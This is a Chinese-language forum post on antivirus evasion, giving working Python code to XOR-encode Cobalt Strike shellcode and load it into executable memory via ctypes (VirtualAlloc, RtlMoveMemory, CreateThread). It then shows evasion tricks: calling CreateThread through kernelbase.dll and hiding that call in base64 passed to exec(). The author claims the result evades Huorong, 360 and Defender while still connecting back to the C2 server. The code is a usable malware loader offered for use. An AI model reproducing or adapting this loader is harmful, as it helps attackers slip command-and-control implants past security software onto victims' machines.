简单的手法过杀软

Author:ILU

学的越多,才知道自己的渺小

前言

因为我个人深入学习的第一门语言是python,所以相对于C来说,利用python去写免杀脚本会比用C来写的轻松。

但是在实践当中发现在C语言中杀软对于写入内存的相关的函数监控的十分严格(比如:memcpymemmoveRtlCopyMemoryRtlMoveMemoryRtlWriteMemory等),但是我个人水平又没达到那种可以任意hook的程度。所以,就想着方法饶绕一绕。对于做免杀来讲,我们要做的其实是把木马等文件的特征码进行隐藏。让杀软识别不出原有特征,这样我们也就达到了免杀的目的。

既然C监控的很死,那么我们可以利用其他语言进行编写免杀脚本,相对的,没有直接利用C的东西,那么其特征也就相对的不一样了。

本篇文章实现的是利用python编写免杀脚本绕过内存写入函数的检测过掉火绒360defender

正题

文章我用的CS的shellcode,对于处理shellcode 的话相对来说是比较简单的,就很简单的异或就行,我们要深入处理的是敏感函数。

首先利用CS生成raw格式的shellcode,然后用py读取shellcode对其中的字节一个一个的做处理、做异或。

异或代码
import argparse

def xorEncode(file, key, output):
    xorShellcode = ""
    shellcodeSize = 0
    while True:
        code = file.read(1)
        if not code:
            break
        xor = ord(code) ^ key
        xor_code = hex(xor).replace("0x","")
        if len(xor_code) == 1:
            xor_code = f'0{xor_code}'
        xorShellcode += f'\\x{xor_code}'
        shellcodeSize += 1
    file.close()
    output.write(xorShellcode)
    output.close()
    print(f"shellcodeSize: {shellcodeSize}")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Python XOR Encoder")
    parser.add_argument('-f', '--file', help="input raw file", type=argparse.FileType('rb'))
    parser.add_argument('-k', '--key', help="xor key", type=int, default=50)
    parser.add_argument('-o', '--output', help="output shellcode file", type=argparse.FileType('w+'))
    args = parser.parse_args()
    xorEncode(args.file, args.key, args.output)

通过以上的代码就可以对shellcode做简单混淆处理就ok了,然后我们现在来了解一下如何用py调用shellcode。

ctypes

ctypes是python 内置的一个模块,可以实现动态链接库的调用以及C语言结构的相关的编程。既然此库可以调用动态链接,也就意味着我们可以调用动态链接库中的函数。

我们需要关注的动态链接库主要有kernel32.dlluser32.dllntdll.dll,这三个动态链接库对于windows操作系统来说是非常重要的动态链接库文件。对于我们写免杀脚本来讲,要用到的函数大部分都在这三个动态链接库文件里了。

怎么调用动态链接库文件?

ctypes提供了三种方式:cdll,windll,oledll。cdll 载入按标准的 cdecl 调用协议导出的函数,而 windll 导入的库按 stdcall 调用协议调用其中的函数。 oledll 也按 stdcall 调用协议调用其中的函数,并假定该函数返回的是 Windows HRESULT 错误代码,并当函数调用失败时,自动根据该代码甩出一个 OSError 异常。

用到的函数
# virtualalloc: 申请虚拟内存
LPVOID VirtualAlloc(  
  LPVOID lpAddress,        // 指定要分配的区域的期望起始地址。一般为null
  SIZE_T dwSize,           // 要分配的堆栈大小
  DWORD flAllocationType,  // 类型的分配
  DWORD flProtect          // 内存的执行权限
);
// 属性解释
flAllocationType 
    MEM_COMMIT 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
    MEM_REVERSE: 保留一定范围的进程虚拟地址空间,而不在内存或磁盘上的分页文件中分配任何实际物理存储。(保留虚拟内存)

flProtect
    PAGE_EXECUTE_READWRITE 内存页分配为可读可写可执行
    PAGE_READWRITE 内存页分配为可读可写

#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(  
    IN VOID UNALIGNED  *Destination,   // 要复制到的目标  
    IN CONST VOID UNALIGNED  *Source,  // 要转移的内存块  
    IN SIZE_T  Length                  // 内存块大小
);

# CreateThread: 创建线程
HANDLE CreateThread(  
    LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性,一般设置为0或者null 
    SIZE_T dwStackSize,                       // 初始栈大小, 设置为0   
    LPTHREAD_START_ROUTINE lpStartAddress,    // 线程函数地址  
    LPVOID lpParameter,                       // 线程参数,没传参即为0   
    DWORD dwCreationFlags,                    // 创建线程标志,对线程做控制的  
    LPDWORD lpThreadId                        // 线程id
);

# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
    HANDLE hHandle,        // 句柄
    DWORD dwMilliseconds   // 等待标志, 常用INFINITE, 即为无限等待线程执行完毕
);

以上函数都是C中的定义,我们在python中编写需要遵循此函数定义,具体参数的值可通过查阅MSDN文档去做详细了解。

免杀代码
import ctypes

# xor shellcode
XorBuf = "把生成的xor shellcode复制到此处"
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(buf)),
    ctypes.c_int(0x00001000),
    ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
    ctypes.c_uint64(lpMemory),
    buffer,
    ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(lpMemory),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待线程执行完毕在终止进程
kernel32.WaitForSingleObject(hThread, -1)

我们先来基本的调用流程是否能够上线CS。

可以看到是能够正常上线的,现在我们对其进行编译,看能否过掉杀软。这里我用推荐用auto-py-to-exe这个pyinstaller的插件方便快捷。

编译完成后,发现正常代码下,火绒对生成的exe文件是有检测报毒的,说明其中存在相关特征码。那么这里,可以通过笨方法去找出特征码:注释代码,一行一行的找,然后编译。哪行注释不报毒就说明特征码存在在那行。

那么这里值得一提的是在python中,对于shellcode写入内存检测并没有很严格,杀的是CreateThread这个函数,所以我们只需要绕过这个函数即可,绕过的方式太多了,我就举一个例子把。

我们这里可以把kernel32.dll理解为多个dll文件的集合体,意思就是这个动态链接库文件,是对其他dll文件中的函数做了转发,所以我们只要通过调试,或者导出其他动态链接库文件的导出表即可获得更底层的api函数。那这里比如说通过调试得知kernel32.dll函数中CreateThread这个函数调用了kernelbase.dll中的CreateThread这个函数,那么kernelbase.dll调用的哪个dll文件中的CreateThread函数的话也是可以获取到的。我想表达的是不同的dll动态链接库文件它们的函数地址是不一样的,也就意味了他们的特征码不一样,可能会出现函数不在特征库当中,虽然同名功能一样。

那么这里我们稍微做一下处理。

import ctypes

# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(buf)),
    ctypes.c_int(0x00001000),
    ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
    ctypes.c_uint64(lpMemory),
    buffer,
    ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernelbase.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(lpMemory),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
kernel32.WaitForSingleObject(hThread, -1)

看一下上线情况是否正常。

好了,到这里我们可以看到正常上线,然后我们编译看看结果怎么样。

结果有点尴尬,前段时间我这么做还是稳稳当当,没想到现在啪啪打脸,不要慌。我们对CreateThread这行代码做一下base64加密,让它动态执行此代码。

import base64

base64.b64encode(b"""hThread = ntdll.ZwCreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(lpMemory),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)""").decode()

然后我们把base64加密后的代码进行动态执行。

import ctypes
import base64

# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(buf)),
    ctypes.c_int(0x00001000),
    ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
    ctypes.c_uint64(lpMemory),
    buffer,
    ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
# print(base64.b64encode(b"""hThread = kernelbase.CreateThread(
#     ctypes.c_int(0),
#     ctypes.c_int(0),
#     ctypes.c_uint64(lpMemory),
#     ctypes.c_int(0),
#     ctypes.c_int(0),
#     ctypes.pointer(ctypes.c_int(0))
# )""").decode())
exec(base64.b64decode(b"aFRocmVhZCA9IGtlcm5lbGJhc2UuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KGxwTWVtb3J5KSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQ==").decode())
kernelbase.WaitForSingleObject(hThread, -1)

跑完后再看看编译效果。

现在火绒就不再对编译生成的文件报毒了,看一下上线情况。

此处正常上线,并且虚拟机的defender未报毒,360未报毒我盲猜核晶应该也可以过。虽然,一开始说的不同dll文件中的函数效果会不同这个玩意翻车了。但是这东西是可行的,可能是我之前丢给沙箱然后给无了。

上过杀软截图。

点击收藏 | 5 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖